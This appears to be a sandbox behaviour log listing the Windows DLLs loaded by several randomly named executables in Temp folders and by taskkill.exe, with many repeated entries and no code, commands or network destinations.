Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
